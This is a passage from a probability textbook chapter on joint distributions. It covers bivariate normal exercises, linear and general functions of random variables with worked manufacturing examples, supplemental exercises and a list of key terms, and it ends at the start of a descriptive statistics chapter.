5-49. In the manufacture of electroluminescent lamps, several different layers of ink are deposited onto a plastic substrate. The thickness of these layers is critical if specifications regarding the final color and intensity of light are to be met. Let X and Y denote the thickness of two different layers of ink. It is known that X is normally distributed with a mean of 0.1 millimeter and a standard deviation of 0.00031 millimeter, and Y is normally distributed with a

mean of 0.23 millimeter and a standard deviation of 0.00017 millimeter. The value of ρ for these variables is equal to zero. Specifications call for a lamp to have a thickness of the ink corresponding to X in the range of 0.099535 to 0.100465 millimeter and Y in the range of 0.22966 to 0.23034 millimeter. What is the probability that a randomly selected lamp will conform to specifications?

5-50. Suppose that X and Y have a bivariate normal distribution with joint probability density function $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$.

(a) Show that the conditional distribution of Y, given that $X = x$, is normal.

(b) Determine $E(Y|X = x)$.

(c) Determine $V(Y|X = x)$.

5-51. If X and Y have a bivariate normal distribution with $\rho = 0$, show that X and Y are independent.

5-52. Show that the probability density function $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$ of a bivariate normal distribution integrates to one. [*Hint:* Complete the square in the exponent and use the fact that the integral of a normal probability density function for a single variable is 1.]

5-53. If X and Y have a bivariate normal distribution with joint probability density $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$, show that the marginal probability distribution of X is normal with mean μ_X and standard deviation σ_X. [*Hint:* Complete the square in the exponent and use the fact that the integral of a normal probability density function for a single variable is 1.]

5-4 LINEAR FUNCTIONS OF RANDOM VARIABLES

A random variable is sometimes defined as a function of one or more random variables. In this section, results for linear functions are highlighted because of their importance in the remainder of the book. For example, if the random variables X_1 and X_2 denote the length and width, respectively, of a manufactured part, $Y = 2X_1 + 2X_2$ is a random variable that represents the perimeter of the part. As another example, recall that the negative binomial random variable was represented as the sum of several geometric random variables.

In this section, we develop results for random variables that are linear combinations of random variables.

Linear Combination

Given random variables $X_1, X_2, \ldots, X_p$ and constants $c_1, c_2, \ldots, c_p$,

$$Y = c_1X_1 + c_2X_2 + \cdots + c_pX_p \tag{5-24}$$

is a **linear combination** of $X_1, X_2, \ldots, X_p$.

Now, $E(Y)$ can be found from the joint probability distribution of $X_1, X_2, \ldots, X_p$ as follows. Assume $X_1, X_2, \ldots, X_p$ are continuous random variables. An analogous calculation can be used for discrete random variables.

$$\begin{aligned}
E(Y) &= \int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} (c_1x_1 + c_2x_2 + \cdots + c_px_p) f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p \\
&= c_1 \int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} x_1 f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p \\
&\quad + c_2 \int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} x_2 f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p + , \ldots , \\
&\quad + c_p \int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} x_p f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p
\end{aligned}$$

By using Equation 5-10 for each of the terms in this expression, we obtain the following.

Mean of a Linear Function

If $Y = c_1X_1 + c_2X_2 + \cdots + c_pX_p$,

$$E(Y) = c_1E(X_1) + c_2E(X_2) + \cdots + c_pE(X_p) \tag{5-25}$$

Furthermore, it is left as an exercise to show the following.

Variance of a Linear Function

If $X_1, X_2, \ldots, X_p$ are random variables, and $Y = c_1X_1 + c_2X_2 + \cdots + c_pX_p$, then in general,

$$V(Y) = c_1^2V(X_1) + c_2^2V(X_2) + \cdots + c_p^2V(X_p) + 2\sum_{i<j}\sum c_ic_j \operatorname{cov}(X_i, X_j) \tag{5-26}$$

If $X_1, X_2, \ldots, X_p$ are **independent,**

$$V(Y) = c_1^2V(X_1) + c_2^2V(X_2) + \cdots + c_p^2V(X_p) \tag{5-27}$$

Note that the result for the variance in Equation 5-27 requires the random variables to be independent. To see why the independence is important, consider the following simple example. Let X_1 denote any random variable and define $X_2 = -X_1$. Clearly, X_1 and X_2 are not independent. In fact, $\rho_{XY} = -1$. Now, $Y = X_1 + X_2$ is 0 with probability 1. Therefore, $V(Y) = 0$, regardless of the variances of X_1 and X_2.

EXAMPLE 5-30 Negative Binomial Distribution

In Chapter 3, we found that if Y is a negative binomial random variable with parameters p and r, $Y = X_1 + X_2 + \cdots + X_r$, where each X_i is a geometric random variable with parameter p, and they are independent. Therefore, $E(X_i) = 1/p$ and $V(X_i) = (1 - p)/p^2$. From Equation 5-25, $E(Y) = r/p$, and from Equation 5-27, $V(Y) = r(1 - p)/p^2$.

An approach similar to the one applied in the above example can be used to verify the formulas for the mean and variance of an Erlang random variable in Chapter 4. An important use of Equation 5-27 is in **error propagation** and this is presented in the following example.

EXAMPLE 5-31 Error Propagation

A semiconductor product consists of three layers. If the variances in thickness of the first, second, and third layers are 25, 40, and 30 nanometers squared, what is the variance of the thickness of the final product?

Let X_1, X_2, X_3, and X be random variables that denote the thickness of the respective layers, and the final product. Then,

$$X = X_1 + X_2 + X_3$$

The variance of X is obtained from Equaion 5-27:

$$\begin{aligned} V(X) &= V(X_1) + V(X_2) + V(X_3) \\ &= 25 + 40 + 30 = 95 \text{ nm}^2 \end{aligned}$$

Consequently, the standard deviation of thickness of the final product is $95^{1/2} = 9.75$ nm and this shows how the variation in each layer is propagated to the final product.

The particular linear function that represents the average of p random variables, with identical means and variances, is used quite often in subsequent chapters. We highlight the results for this special case.

Mean and Variance of an Average

If $\overline{X} = (X_1 + X_2 + \cdots + X_p)/p$ with $E(X_i) = \mu$ for $i = 1, 2, \ldots, p$,

$$E(\overline{X}) = \mu \tag{5-28a}$$

If $X_1, X_2, \ldots, X_p$ are also independent with $V(X_i) = \sigma^2$ for $i = 1, 2, \ldots, p$,

$$V(\overline{X}) = \frac{\sigma^2}{p} \tag{5-28b}$$

The conclusion for $V(\overline{X})$ is obtained as follows. Using Equation 5-27, with $c_i = 1/p$ and $V(X_i) = \sigma^2$, yields

$$V(\overline{X}) = \underbrace{(1/p)^2\sigma^2 + \cdots + (1/p)^2\sigma^2}_{p \text{ terms}} = \sigma^2/p$$

Another useful result concerning linear functions of random variables is a **reproductive property** that holds for independent, normal random variables.

Reproductive Property of the Normal Distribution

If $X_1, X_2, \ldots, X_p$ are independent, normal random variables with $E(X_i) = \mu_i$ and $V(X_i) = \sigma_i^2$, for $i = 1, 2, \ldots, p$,

$$Y = c_1X_1 + c_2X_2 + \cdots + c_pX_p$$

is a normal random variable with

$$E(Y) = c_1\mu_1 + c_2\mu_2 + \cdots + c_p\mu_p$$

and

$$V(Y) = c_1^2\sigma_1^2 + c_2^2\sigma_2^2 + \cdots + c_p^2\sigma_p^2 \tag{5-29}$$

The mean and variance of Y follow from Equations 5-25 and 5-27. The fact that Y has a normal distribution can be obtained from supplemental material on moment-generating functions on the Web site for the book.

EXAMPLE 5-32 Linear Function of Independent Normal Random Variables

Let the random variables X_1 and X_2 denote the length and width, respectively, of a manufactured part. Assume that X_1 is normal with $E(X_1) = 2$ centimeters and standard deviation 0.1 centimeter, and that X_2 is normal with $E(X_2) = 5$ centimeters and standard deviation 0.2 centimeter. Also, assume that X_1 and X_2 are independent. Determine the probability that the perimeter exceeds 14.5 centimeters.

Then, $Y = 2X_1 + 2X_2$ is a normal random variable that represents the perimeter of the part. We obtain $E(Y) = 14$ centimeters and the variance of Y is

$$V(Y) = 4 \times 0.1^2 + 4 \times 0.2^2 = 0.2$$

Now,

$$\begin{aligned} P(Y > 14.5) &= P[(Y - \mu_Y)/\sigma_Y > (14.5 - 14)/\sqrt{0.2}] \\ &= P(Z > 1.12) = 0.13 \end{aligned}$$

EXAMPLE 5-33 Beverage Volume

Soft-drink cans are filled by an automated filling machine. The mean fill volume is 12.1 fluid ounces, and the standard deviation is 0.1 fluid ounce. Assume that the fill volumes of the cans are independent, normal random variables. What is the probability that the average volume of 10 cans selected from this process is less than 12 fluid ounces?

Let $X_1, X_2, \ldots, X_{10}$ denote the fill volumes of the 10 cans. The average fill volume (denoted as $\overline{X}$) is a normal random variable with

$$E(\overline{X}) = 12.1 \quad \text{and} \quad V(\overline{X}) = \frac{0.1^2}{10} = 0.001$$

Consequently,

$$P(\overline{X} < 12) = P\left[\frac{\overline{X} - \mu_{\overline{X}}}{\sigma_{\overline{X}}} < \frac{12 - 12.1}{\sqrt{0.001}}\right]$$
$$= P(Z < -3.16) = 0.00079$$

EXERCISES FOR SECTION 5-4

5-54. X and Y are independent, normal random variables with $E(X) = 0$, $V(X) = 4$, $E(Y) = 10$, and $V(Y) = 9$.

Determine the following:

(a) $E(2X + 3Y)$ (b) $V(2X + 3Y)$
(c) $P(2X + 3Y < 30)$ (d) $P(2X + 3Y < 40)$

5-55. X and Y are independent, normal random variables with $E(X) = 2$, $V(X) = 5$, $E(Y) = 6$, and $V(Y) = 8$.

Determine the following:

(a) $E(3X + 2Y)$ (b) $V(3X + 2Y)$
(c) $P(3X + 2Y < 18)$ (d) $P(3X + 2Y < 28)$

5-56. Suppose that the random variable X represents the length of a punched part in centimeters. Let Y be the length of the part in millimeters. If $E(X) = 5$ and $V(X) = 0.25$, what are the mean and variance of Y?

5-57. A plastic casing for a magnetic disk is composed of two halves. The thickness of each half is normally distributed with a mean of 2 millimeters and a standard deviation of 0.1 millimeter and the halves are independent.

(a) Determine the mean and standard deviation of the total thickness of the two halves.
(b) What is the probability that the total thickness exceeds 4.3 millimeters?

5-58. Making handcrafted pottery generally takes two major steps: wheel throwing and firing. The time of wheel throwing and the time of firing are normally distributed random variables with means of 40 min and 60 min and standard deviations of 2 min and 3 min, respectively.

(a) What is the probability that a piece of pottery will be finished within 95 min?
(b) What is the probability that it will take longer than 110 min?

5-59. In the manufacture of electroluminescent lamps, several different layers of ink are deposited onto a plastic substrate. The thickness of these layers is critical if specifications regarding the final color and intensity of light are to be met. Let X and Y denote the thickness of two different layers of ink. It is known that X is normally distributed with a mean of 0.1 millimeter and a standard deviation of 0.00031 millimeter and Y is also normally distributed with a mean of 0.23 millimeter and a standard deviation of 0.00017 millimeter. Assume that these variables are independent.

(a) If a particular lamp is made up of these two inks only, what is the probability that the total ink thickness is less than 0.2337 millimeter?
(b) A lamp with a total ink thickness exceeding 0.2405 millimeter lacks the uniformity of color demanded by the customer. Find the probability that a randomly selected lamp fails to meet customer specifications.

5-60. The width of a casing for a door is normally distributed with a mean of 24 inches and a standard deviation of 1/8 inch. The width of a door is normally distributed with a mean of 23-7/8 inches and a standard deviation of 1/16 inch. Assume independence.

(a) Determine the mean and standard deviation of the difference between the width of the casing and the width of the door.
(b) What is the probability that the width of the casing minus the width of the door exceeds 1/4 inch?
(c) What is the probability that the door does not fit in the casing?

5-61. An article in *Knee Surgery Sports Traumatology, Arthroscopy* [“Effect of Provider Volume on Resource Utilization for Surgical Procedures” (2005, Vol. 13, pp. 273–279)] showed a mean time of 129 minutes and a standard deviation of 14 minutes for ACL reconstruction surgery for high-volume hospitals (with more than 300 such surgeries per year). If a high-volume hospital needs to schedule 10 surgeries, what are the mean and variance of the total time to complete these surgeries? Assume the times of the surgeries are independent and normally distributed.

5-62. Soft-drink cans are filled by an automated filling machine and the standard deviation is 0.5 fluid ounce. Assume that the fill volumes of the cans are independent, normal random variables.

(a) What is the standard deviation of the average fill volume of 100 cans?
(b) If the mean fill volume is 12.1 ounces, what is the probability that the average fill volume of the 100 cans is below 12 fluid ounces?
(c) What should the mean fill volume equal so that the probability that the average of 100 cans is below 12 fluid ounces is 0.005?

(d) If the mean fill volume is 12.1 fluid ounces, what should the standard deviation of fill volume equal so that the probability that the average of 100 cans is below 12 fluid ounces is 0.005?
(e) Determine the number of cans that need to be measured such that the probability that the average fill volume is less than 12 fluid ounces is 0.01.

5-63. The photoresist thickness in semiconductor manufacturing has a mean of 10 micrometers and a standard deviation of 1 micrometer. Assume that the thickness is normally distributed and that the thicknesses of different wafers are independent.
(a) Determine the probability that the average thickness of 10 wafers is either greater than 11 or less than 9 micrometers.
(b) Determine the number of wafers that need to be measured such that the probability that the average thickness exceeds 11 micrometers is 0.01.
(c) If the mean thickness is 10 micrometers, what should the standard deviation of thickness equal so that the probability that the average of 10 wafers is either greater than 11 or less than 9 micrometers is 0.001?

5-64. Assume that the weights of individuals are independent and normally distributed with a mean of 160 pounds and a standard deviation of 30 pounds. Suppose that 25 people squeeze into an elevator that is designed to hold 4300 pounds.
(a) What is the probability that the load (total weight) exceeds the design limit?
(b) What design limit is exceeded by 25 occupants with probability 0.0001?

5-65. Weights of parts are normally distributed with variance σ^2. Measurement error is normally distributed with mean zero and variance $0.5\sigma^2$, independent of the part weights, and adds to the part weight. Upper and lower specifications are centered at 3σ about the process mean.
(a) Without measurement error, what is the probability that a part exceeds the specifications?
(b) With measurement error, what is the probability that a part is measured as beyond specifications? Does this imply it is truly beyond specifications?
(c) What is the probability that a part is measured beyond specifications if the true weight of the part is one σ below the upper specification limit?

5-66. A U-shaped component is to be formed from the three parts *A*, *B*, and *C*. The picture is shown in Fig. 5-20. The length of *A* is normally distributed with a mean of 10 millimeters and a standard deviation of 0.1 millimeter. The thickness of parts *B* and *C* is normally distributed with a mean of 2 millimeters and a standard deviation of 0.05 millimeter. Assume all dimensions are independent.

Figure 5-20 Figure for the U-shaped component.

(a) Determine the mean and standard deviation of the length of the gap *D*.
(b) What is the probability that the gap *D* is less than 5.9 millimeters?

5-5 GENERAL FUNCTIONS OF RANDOM VARIABLES

In many situations in statistics, it is necessary to derive the probability distribution of a function of one or more random variables. In this section, we present some results that are helpful in solving this problem.

Suppose that X is a discrete random variable with probability distribution $f_X(x)$. Let $Y = h(X)$ be a function of X that defines a one-to-one transformation between the values of X and Y, and we wish to find the probability distribution of Y. By a one-to-one transformation, we mean that each value x is related to one and only one value of $y = h(x)$ and that each value of y is related to one and only one value of x, say, $x = u(y)$, where $u(y)$ is found by solving $y = h(x)$ for x in terms of y.

Now, the random variable Y takes on the value y when X takes on the value $u(y)$. Therefore, the probability distribution of Y is

$$f_Y(y) = P(Y = y) = P[X = u(y)] = f_X[u(y)]$$

We may state this result as follows.

General Function of a Discrete Random Variable

Suppose that X is a **discrete** random variable with probability distribution $f_X(x)$. Let $Y = h(X)$ define a one-to-one transformation between the values of X and Y so that the equation $y = h(x)$ can be solved uniquely for x in terms of y. Let this solution be $x = u(y)$. Then the probability mass function of the random variable Y is

$$f_Y(y) = f_X[u(y)] \tag{5-30}$$

EXAMPLE 5-34 Function of a Discrete Random Variable

Let X be a geometric random variable with probability distribution

$$f_X(x) = p(1-p)^{x-1}, \qquad x = 1, 2, \ldots$$

Find the probability distribution of $Y = X^2$.

Since $X \geq 0$, the transformation is one to one; that is, $y = x^2$ and $x = \sqrt{y}$. Therefore, Equation 5-30 indicates that the distribution of the random variable Y is

$$f_Y(y) = f(\sqrt{y}) = p(1-p)^{\sqrt{y}-1}, \qquad y = 1, 4, 9, 16, \ldots$$

We now consider the situation where the random variables are continuous. Let $Y = h(X)$, with X continuous and the transformation one to one.

General Function of a Continuous Random Variable

Suppose that X is a **continuous** random variable with probability distribution $f_X(x)$. The function $Y = h(X)$ is a one-to-one transformation between the values of Y and X so that the equation $y = h(x)$ can be uniquely solved for x in terms of y. Let this solution be $x = u(y)$. The probability distribution of Y is

$$f_Y(y) = f_X[u(y)]\,|J| \tag{5-31}$$

where $J = u'(y)$ is called the **Jacobian** of the transformation and the absolute value of J is used.

Equation 5-31 is shown as follows. Let the function $y = h(x)$ be an increasing function of x. Now,

$$\begin{aligned} P(Y \leq a) &= P[X \leq u(a)] \\ &= \int_{-\infty}^{u(a)} f_X(x)\,dx \end{aligned}$$

If we change the variable of integration from x to y by using $x = u(y)$, we obtain $dx = u'(y)\,dy$ and then

$$P(Y \leq a) = \int_{-\infty}^{a} f_X[u(y)]u'(y)\,dy$$

Since the integral gives the probability that $Y \leq a$ for all values of a contained in the feasible set of values for y, $f_X[u(y)]u'(y)$ must be the probability density of Y. Therefore, the probability distribution of Y is

$$f_Y(y) = f_X[u(y)]u'(y) = f_X[u(y)]J$$

If the function $y = h(x)$ is a decreasing function of x, a similar argument holds.

EXAMPLE 5-35 Function of a Continuous Random Variable

Let X be a continuous random variable with probability distribution

$$f_X(x) = \frac{x}{8}, \quad 0 \le x < 4$$

Find the probability distribution of $Y = h(X) = 2X + 4$.

Note that $y = h(x) = 2x + 4$ is an increasing function of x. The inverse solution is $x = u(y) = (y - 4)/2$, and from this we find the Jacobian to be $J = u'(y) = dx/dy = 1/2$. Therefore, from Equation 5-31, the probability distribution of Y is

$$f_Y(y) = \frac{(y-4)/2}{8}\left(\frac{1}{2}\right) = \frac{y-4}{32}, \qquad 4 \le y \le 12$$

EXERCISES FOR SECTION 5-5

5-67. Suppose that X is a random variable with probability distribution

$$f_X(x) = 1/4, \qquad x = 1, 2, 3, 4$$

Find the probability distribution of $Y = 2X + 1$.

5-68. Let X be a binomial random variable with $p = 0.25$ and $n = 3$. Find the probability distribution of the random variable $Y = X^2$.

5-69. Suppose that X is a continuous random variable with probability distribution

$$f_X(x) = \frac{x}{18}, \qquad 0 \le x \le 6$$

(a) Find the probability distribution of the random variable $Y = 2X + 10$.
(b) Find the expected value of Y.

5-70. Suppose that X has a uniform probability distribution

$$f_X(x) = 1, \qquad 0 \le x \le 1$$

Show that the probability distribution of the random variable $Y = -2 \ln X$ is chi-squared with two degrees of freedom.

5-71. A random variable X has the following probability distribution:

$$f_X(x) = e^{-x}, \qquad x \ge 0$$

(a) Find the probability distribution for $Y = X^2$.
(b) Find the probability distribution for $Y = X^{1/2}$.
(c) Find the probability distribution for $Y = \ln X$.

5-72. The velocity of a particle in a gas is a random variable V with probability distribution

$$f_V(v) = av^2e^{-bv} \qquad v > 0$$

where b is a constant that depends on the temperature of the gas and the mass of the particle.
(a) Find the value of the constant a.
(b) The kinetic energy of the particle is $W = mV^2/2$. Find the probability distribution of W.

5-73. Suppose that X has the probability distribution

$$f_X(x) = 1, \qquad 1 \le x \le 2$$

Find the probability distribution of the random variable $Y = e^X$.

5-74. The random variable X has the probability distribution

$$f_X(x) = \frac{x}{8}, \qquad 0 \le x \le 4$$

Find the probability distribution of $Y = (X - 2)^2$.

Supplemental Exercises

5-75. Show that the following function satisfies the properties of a joint probability mass function:

x	y	$f(x, y)$
0	0	1/4
0	1	1/8
1	0	1/8
1	1	1/4
2	2	1/4

Determine the following:
(a) $P(X < 0.5, Y < 1.5)$ (b) $P(X \le 1)$
(c) $P(X < 1.5)$ (d) $P(X > 0.5, Y < 1.5)$
(e) Determine $E(X)$, $E(Y)$, $V(X)$, and $V(Y)$.
(f) Marginal probability distribution of the random variable X
(g) Conditional probability distribution of Y given that $X = 1$
(h) $E(Y|X = 1)$
(i) Are X and Y independent? Why or why not?
(j) Calculate the correlation between X and Y.

5-76. The percentage of people given an antirheumatoid medication who suffer severe, moderate, or minor side effects are 10, 20, and 70%, respectively. Assume that people react

independently and that 20 people are given the medication. Determine the following:

(a) The probability that 2, 4, and 14 people will suffer severe, moderate, or minor side effects, respectively
(b) The probability that no one will suffer severe side effects
(c) The mean and variance of the number of people who will suffer severe side effects
(d) What is the conditional probability distribution of the number of people who suffer severe side effects given that 19 suffer minor side effects?
(e) What is the conditional mean of the number of people who suffer severe side effects given that 19 suffer minor side effects?

5-77. The backoff torque required to remove bolts in a steel plate is rated as high, moderate, or low. Historically, the probability of a high, moderate, or low rating is 0.6, 0.3, or 0.1, respectively. Suppose that 20 bolts are evaluated and that the torque ratings are independent.

(a) What is the probability that 12, 6, and 2 bolts are rated as high, moderate, and low, respectively?
(b) What is the marginal distribution of the number of bolts rated low?
(c) What is the expected number of bolts rated low?
(d) What is the probability that the number of bolts rated low is greater than two?
(e) What is the conditional distribution of the number of bolts rated low given that 16 bolts are rated high?
(f) What is the conditional expected number of bolts rated low given that 16 bolts are rated high?
(g) Are the numbers of bolts rated high and low independent random variables?

5-78. To evaluate the technical support from a computer manufacturer, the number of rings before a call is answered by a service representative is tracked. Historically, 70% of the calls are answered in two rings or less, 25% are answered in three or four rings, and the remaining calls require five rings or more. Suppose you call this manufacturer 10 times and assume that the calls are independent.

(a) What is the probability that eight calls are answered in two rings or less, one call is answered in three or four rings, and one call requires five rings or more?
(b) What is the probability that all 10 calls are answered in four rings or less?
(c) What is the expected number of calls answered in four rings or less?
(d) What is the conditional distribution of the number of calls requiring five rings or more given that eight calls are answered in two rings or less?
(e) What is the conditional expected number of calls requiring five rings or more given that eight calls are answered in two rings or less?
(f) Are the number of calls answered in two rings or less and the number of calls requiring five rings or more independent random variables?

5-79. Determine the value of c such that the function $f(x, y) = cx^2y$ for $0 < x < 3$ and $0 < y < 2$ satisfies the properties of a joint probability density function.

Determine the following:

(a) $P(X < 1, Y < 1)$ (b) $P(X < 2.5)$
(c) $P(1 < Y < 2.5)$ (d) $P(X > 2, 1 < Y < 1.5)$
(e) $E(X)$ (f) $E(Y)$
(g) Marginal probability distribution of the random variable X
(h) Conditional probability distribution of Y given that $X = 1$
(i) Conditional probability distribution of X given that $Y = 1$

5-80. The joint distribution of the continuous random variables X, Y, and Z is constant over the region $x^2 + y^2 \leq 1$, $0 < z < 4$. Determine the following:

(a) $P(X^2 + Y^2 \leq 0.5)$
(b) $P(X^2 + Y^2 \leq 0.5, Z < 2)$
(c) Joint conditional probability density function of X and Y given that $Z = 1$
(d) Marginal probability density function of X
(e) Conditional mean of Z given that $X = 0$ and $Y = 0$
(f) Conditional mean of Z given that $X = x$ and $Y = y$

5-81. Suppose that X and Y are independent, continuous uniform random variables for $0 < x < 1$ and $0 < y < 1$. Use the joint probability density function to determine the probability that $|X - Y| < 0.5$.

5-82. The lifetimes of six major components in a copier are independent exponential random variables with means of 8000, 10,000, 10,000, 20,000, 20,000, and 25,000 hours, respectively.

(a) What is the probability that the lifetimes of all the components exceed 5000 hours?
(b) What is the probability that at least one component lifetime exceeds 25,000 hours?

5-83. Contamination problems in semiconductor manufacturing can result in a functional defect, a minor defect, or no defect in the final product. Suppose that 20, 50, and 30% of the contamination problems result in functional, minor, and no defects, respectively. Assume that the defects of 10 contamination problems are independent.

(a) What is the probability that the 10 contamination problems result in two functional defects and five minor defects?
(b) What is the distribution of the number of contamination problems that result in no defects?
(c) What is the expected number of contamination problems that result in no defects?

5-84. The weight of adobe bricks for construction is normally distributed with a mean of 3 pounds and a standard deviation of 0.25 pound. Assume that the weights of the bricks are independent and that a random sample of 25 bricks is chosen.

(a) What is the probability that the mean weight of the sample is less than 2.95 pounds?
(b) What value will the mean weight exceed with probability 0.99?

5-85. The length and width of panels used for interior doors (in inches) are denoted as X and Y, respectively. Suppose that X and Y are independent, continuous uniform random variables for $17.75 < x < 18.25$ and $4.75 < y < 5.25$, respectively.

(a) By integrating the joint probability density function over the appropriate region, determine the probability that the area of a panel exceeds 90 square inches.

(b) What is the probability that the perimeter of a panel exceeds 46 inches?

5-86. The weight of a small candy is normally distributed with a mean of 0.1 ounce and a standard deviation of 0.01 ounce. Suppose that 16 candies are placed in a package and that the weights are independent.

(a) What are the mean and variance of package net weight?

(b) What is the probability that the net weight of a package is less than 1.6 ounces?

(c) If 17 candies are placed in each package, what is the probability that the net weight of a package is less than 1.6 ounces?

5-87. The time for an automated system in a warehouse to locate a part is normally distributed with a mean of 45 seconds and a standard deviation of 30 seconds. Suppose that independent requests are made for 10 parts.

(a) What is the probability that the average time to locate 10 parts exceeds 60 seconds?

(b) What is the probability that the total time to locate 10 parts exceeds 600 seconds?

5-88. A mechanical assembly used in an automobile engine contains four major components. The weights of the components are independent and normally distributed with the following means and standard deviations (in ounces):

Component	Mean	Standard Deviation
Left case	4	0.4
Right case	5.5	0.5
Bearing assembly	10	0.2
Bolt assembly	8	0.5

(a) What is the probability that the weight of an assembly exceeds 29.5 ounces?

(b) What is the probability that the mean weight of eight independent assemblies exceeds 29 ounces?

5-89. Suppose X and Y have a bivariate normal distribution with $\sigma_X = 4$, $\sigma_Y = 1$, $\mu_X = 4$, $\mu_Y = 4$, and $\rho = -0.2$. Draw a rough contour plot of the joint probability density function.

5-90. If $f_{XY}(x, y) = \dfrac{1}{1.2\pi} \exp\left\{\dfrac{-1}{0.72}\left[(x-1)^2 - 1.6(x-1)(y-2) + (y-2)^2\right]\right\}$ determine $E(X)$, $E(Y)$, $V(X)$, $V(Y)$, and ρ by reorganizing the parameters in the joint probability density function.

5-91. The permeability of a membrane used as a moisture barrier in a biological application depends on the thickness of two integrated layers. The layers are normally distributed with means of 0.5 and 1 millimeters, respectively. The standard deviations of layer thickness are 0.1 and 0.2 millimeters, respectively. The correlation between layers is 0.7.

(a) Determine the mean and variance of the total thickness of the two layers.

(b) What is the probability that the total thickness is less than 1 millimeter?

(c) Let X_1 and X_2 denote the thickness of layers 1 and 2, respectively. A measure of performance of the membrane is a function $2X_1 + 3X_2$ of the thickness. Determine the mean and variance of this performance measure.

5-92. The permeability of a membrane used as a moisture barrier in a biological application depends on the thickness of three integrated layers. Layers 1, 2, and 3 are normally distributed with means of 0.5, 1, and 1.5 millimeters, respectively. The standard deviations of layer thickness are 0.1, 0.2, and 0.3, respectively. Also, the correlation between layers 1 and 2 is 0.7, between layers 2 and 3 is 0.5, and between layers 1 and 3 is 0.3.

(a) Determine the mean and variance of the total thickness of the three layers.

(b) What is the probability that the total thickness is less than 1.5 millimeters?

5-93. A small company is to decide what investments to use for cash generated from operations. Each investment has a mean and standard deviation associated with the percentage gain. The first security has a mean percentage gain of 5% with a standard deviation of 2%, and the second security provides the same mean of 5% with a standard deviation of 4%. The securities have a correlation of -0.5, so there is a negative correlation between the percentage returns. If the company invests two million dollars with half in each security, what are the mean and standard deviation of the percentage return? Compare the standard deviation of this strategy to one that invests the two million dollars into the first security only.

5-94. An order of 15 printers contains four with a graphics-enhancement feature, five with extra memory, and six with both features. Four printers are selected at random, without replacement, from this set. Let the random variables X, Y, and Z denote the number of printers in the sample with graphics enhancement only, extra memory only, and both, respectively.

(a) Describe the range of the joint probability distribution of X, Y, and Z.

(b) Is the probability distribution of X, Y, and Z multinomial? Why or why not?

(c) Determine the conditional probability distribution of X given that $Y = 2$.

Determine the following:

(d) $P(X = 1, Y = 2, Z = 1)$ (e) $P(X = 1, Y = 1)$

(f) $E(X)$ and $V(X)$

(g) $P(X = 1, Y = 2 | Z = 1)$ (h) $P(X = 2 | Y = 2)$

(i) Conditional probability distribution of X given that Y = 0 and Z = 3.

5-95. A marketing company performed a risk analysis for a manufacturer of synthetic fibers and concluded that new competitors present no risk 13% of the time (due mostly to the diversity of fibers manufactured), moderate risk 72% of the time (some overlapping of products), and very high risk (competitor manufactures the exact same products) 15% of the time. It is known that 12 international companies are planning to open new facilities for the manufacture of synthetic fibers within the next three years. Assume the companies are independent. Let X, Y, and Z denote the number of new competitors that will pose no, moderate, and very high risk for the interested company, respectively.

(a) What is the range of the joint probability distribution of X, Y, and Z?

Determine the following:

(b) $P(X = 1, Y = 3, Z = 1)$

(c) $P(Z \leq 2)$

(d) $P(Z = 2 | Y = 1, X = 10)$ (e) $P(Z \leq 1 | X = 10)$

(f) $P(Y \leq 1, Z \leq 1 | X = 10)$ (g) $E(Z | X = 10)$

MIND-EXPANDING EXERCISES

5-96. Show that if $X_1, X_2, \ldots, X_p$ are independent, continuous random variables, $P(X_1 \in A_1, X_2 \in A_2, \ldots, X_p \in A_p) = P(X_1 \in A_1)P(X_2 \in A_2)\ldots P(X_p \in A_p)$ for any regions $A_1, A_2, \ldots, A_p$ in the range of $X_1, X_2, \ldots, X_p$ respectively.

5-97. Show that if $X_1, X_2, \ldots, X_p$ are independent random variables and $Y = c_1X_1 + c_2X_2 + \cdots + c_pX_p$,

$$V(Y) = c_1^2V(X_1) + c_2^2V(X_2) + \cdots + c_p^2V(X_p)$$

You may assume that the random variables are continuous.

5-98. Suppose that the joint probability function of the continuous random variables X and Y is constant on the rectangle $0 < x < a$, $0 < y < b$. Show that X and Y are independent.

5-99. Suppose that the range of the continuous variables X and Y is $0 < x < a$ and $0 < y < b$. Also suppose that the joint probability density function $f_{XY}(x, y) = g(x)h(y)$, where $g(x)$ is a function only of x and $h(y)$, is a function only of y. Show that X and Y are independent.

5-100. This exercise extends the hypergeometric distribution to multiple variables. Consider a population with N items of k different types. Assume there are N_1 items of type 1, N_2 items of type 2, ..., N_k items of type k so that $N_1 + N_2 + \ldots + \ldots, N_k = N$. Suppose that a random sample of size n is selected, without replacement, from the population. Let $X_1, X_2, ..., X_k$ denote the number of items of each type in the sample so that $X_1 + X_2, + \ldots + \ldots + X_k = n$. Show that for feasible values of n, $x_1, x_2, \ldots, x_k, N_1, N_2, \ldots, N_k$, the probability is

$$P(X_1 = x_1, X_2 = x_2, \ldots, X_k = x_k) = \frac{\binom{N_1}{x_1}\binom{N_2}{x_2}\cdots\binom{N_k}{x_n}}{\binom{N}{n}}$$

IMPORTANT TERMS AND CONCEPTS

Bivariate distribution
Bivariate normal distribution
Conditional mean
Conditional probability density function
Conditional probability mass function
Conditional variance
Contour plots
Correlation
Covariance
Error propagation
General functions of random variables
Independence
Joint probability density function
Joint probability mass function
Linear functions of random variables
Marginal probability distribution
Multinomial distribution
Reproductive property of the normal distribution

6

Mechanic working on engine
Jim Jurica/iStockphoto

Descriptive Statistics

